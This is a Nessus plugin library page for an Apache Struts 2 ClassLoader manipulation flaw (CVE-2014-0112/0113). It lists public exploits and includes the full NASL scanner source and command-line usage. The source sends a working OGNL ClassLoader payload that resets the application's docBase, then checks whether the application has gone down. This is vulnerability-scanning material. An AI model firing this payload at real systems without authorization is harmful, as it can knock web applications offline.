Apache Struts 2 ClassLoader Manipulation Incomplete Fix for Security Bypass - Nessus

High   Plugin ID: 73763

This page contains detailed information about the Apache Struts 2 ClassLoader Manipulation Incomplete Fix for Security Bypass Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 73763
Name: Apache Struts 2 ClassLoader Manipulation Incomplete Fix for Security Bypass
Filename: struts_2_3_16_2_dos.nasl
Vulnerability Published: 2014-04-24
This Plugin Published: 2014-04-29
Last Modification Time: 2022-04-11
Plugin Version: 1.15
Plugin Type: remote
Plugin Family: Denial of Service
Dependencies: http_version.nasl, webmirror.nasl

Vulnerability Information


Severity: High
Vulnerability Published: 2014-04-24
Patch Published: 2014-04-24
CVE [?]: CVE-2014-0112, CVE-2014-0113
CPE [?]: cpe:/a:apache:struts

Synopsis

The remote web server contains a web application that uses a Java framework that is affected by a security bypass vulnerability.

Description

The remote web application appears to use Struts 2, a web framework that utilizes OGNL (Object-Graph Navigation Language) as an expression language. The version of Struts 2 in use is affected by a security bypass vulnerability, possibly due to an incomplete fix for ClassLoader manipulation implemented in version 2.3.16.1.

Note that this plugin will only report the first vulnerable instance of a Struts 2 application.

Solution

Upgrade to version 2.3.16.2 or later.

Public Exploits


Target Network Port(s): 80, 8080
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Apache Struts 2 ClassLoader Manipulation Incomplete Fix for Security Bypass vulnerability:

  1. Metasploit: exploit/multi/http/struts_code_exec_classloader
    [Apache Struts ClassLoader Manipulation Remote Code Execution]
  2. Exploit-DB: exploits/multiple/remote/33142.rb
    [EDB-33142: Apache Struts - ClassLoader Manipulation Remote Code Execution (Metasploit)]
  3. Exploit-DB: exploits/multiple/remote/41690.rb
    [EDB-41690: Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2014-0113
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

Go back to menu.

Plugin Source


This is the struts_2_3_16_2_dos.nasl nessus plugin source code. This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(73763);
  script_version("1.15");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2014-0112", "CVE-2014-0113");
  script_bugtraq_id(67064, 67081);
  script_xref(name:"CERT", value:"719225");

  script_name(english:"Apache Struts 2 ClassLoader Manipulation Incomplete Fix for Security Bypass");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework that is affected by a security bypass vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web application appears to use Struts 2, a web framework
that utilizes OGNL (Object-Graph Navigation Language) as an expression
language. The version of Struts 2 in use is affected by a security
bypass vulnerability, possibly due to an incomplete fix for
ClassLoader manipulation implemented in version 2.3.16.1.

Note that this plugin will only report the first vulnerable instance
of a Struts 2 application.");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/announce.html#a20140424");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-021.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.3.16.2 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-0113");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts ClassLoader Manipulation Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/04/24");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/04/24");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/04/29");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_family(english:"Denial of Service");

  script_copyright(english:"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
  foreach cgi (cgis)
  {
    match = eregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    match2 = eregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
    if (!isnull(match2))
    {
      urls = make_list(urls, match2[0]);
      if (!thorough_tests) break;
    }
    match3 = eregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
    if (!isnull(match3))
    {
      urls = make_list(urls, match3[0]);
      if (!thorough_tests) break;
    }
  }
}
if (thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

  cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
  if (!isnull(cgi3)) urls = make_list(urls, cgi3);

  cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
  if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}

if (max_index(urls) == 0)
  audit(AUDIT_WEB_FILES_NOT, "Struts 2 .action / .do / .jsp", port);

urls = list_uniq(urls);

script = SCRIPT_NAME - ".nasl" + "-" + unixtime();

foreach url (urls)
{
  res = http_send_recv3(
    method : "GET",
    port   : port,
    item   : url,
    exit_on_fail : TRUE
  );

  if (res[0] !~ "404 Not Found")
  {
    vuln_url = url + "?class['classLoader']['resources']['dirContext']['docBase']=" + script;

    res2 = http_send_recv3(
      method : "GET",
      port   : port,
      item   : vuln_url,
      fetch404 : TRUE,
      exit_on_fail : TRUE
    );

    if (
      (res2[0] =~ "200 OK|404 Not Found")
    )
    { sleep(2);
      # One more check to ensure service is dead
      res = http_send_recv3(
        method : "GET",
        item   : url,
        port   : port,
        fetch404 : TRUE,
        exit_on_fail : TRUE
      );
      if (res[0] =~ "404 Not Found")
      {
        vuln = TRUE;
        # Stop after first vulnerable Struts app is found
        break;
      }
    }
  }
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  generic    : TRUE,
  request    : make_list(build_url(qs:vuln_url, port:port)),
  output     : chomp(res[2])
);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/struts_2_3_16_2_dos.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\struts_2_3_16_2_dos.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/struts_2_3_16_2_dos.nasl

Go back to menu.

How to Run


Here is how to run the Apache Struts 2 ClassLoader Manipulation Incomplete Fix for Security Bypass as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Denial of Service plugin family.
  6. On the right side table select Apache Struts 2 ClassLoader Manipulation Incomplete Fix for Security Bypass plugin ID 73763.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl struts_2_3_16_2_dos.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a struts_2_3_16_2_dos.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - struts_2_3_16_2_dos.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state struts_2_3_16_2_dos.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: CERT | Computer Emergency Response Team: See also: Similar and related Nessus plugins:
  • 83293 - MySQL Enterprise Monitor < 2.3.17 Multiple Vulnerabilities
  • 83295 - MySQL Enterprise Monitor 3.0.x < 3.0.11 Multiple Vulnerabilities
  • 83469 - Oracle WebCenter Sites Multiple Vulnerabilities (April 2015 CPU)
  • 117457 - Apache Struts 2.x < 2.3.20 Multiple ClassLoader Manipulation Vulnerabilities (S2-021)
  • 76388 - VMware vCenter Operations Management Suite Multiple Vulnerabilities (VMSA-2014-0007)
  • 73919 - Apache Struts ClassLoader Manipulation
  • 84401 - IBM Storwize 1.3.x < 1.4.3.4 / 1.5.x < 1.5.0.2 Multiple Vulnerabilities
  • 73203 - Apache Struts 2 'class' Parameter ClassLoader Manipulation
  • 81105 - Apache Struts 2.0.0 < 2.3.16.1 Multiple Vulnerabilities (credentialed check) (Deprecated)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file struts_2_3_16_2_dos.nasl version 1.15. For more plugins, visit the Nessus Plugin Library.

Go back to menu.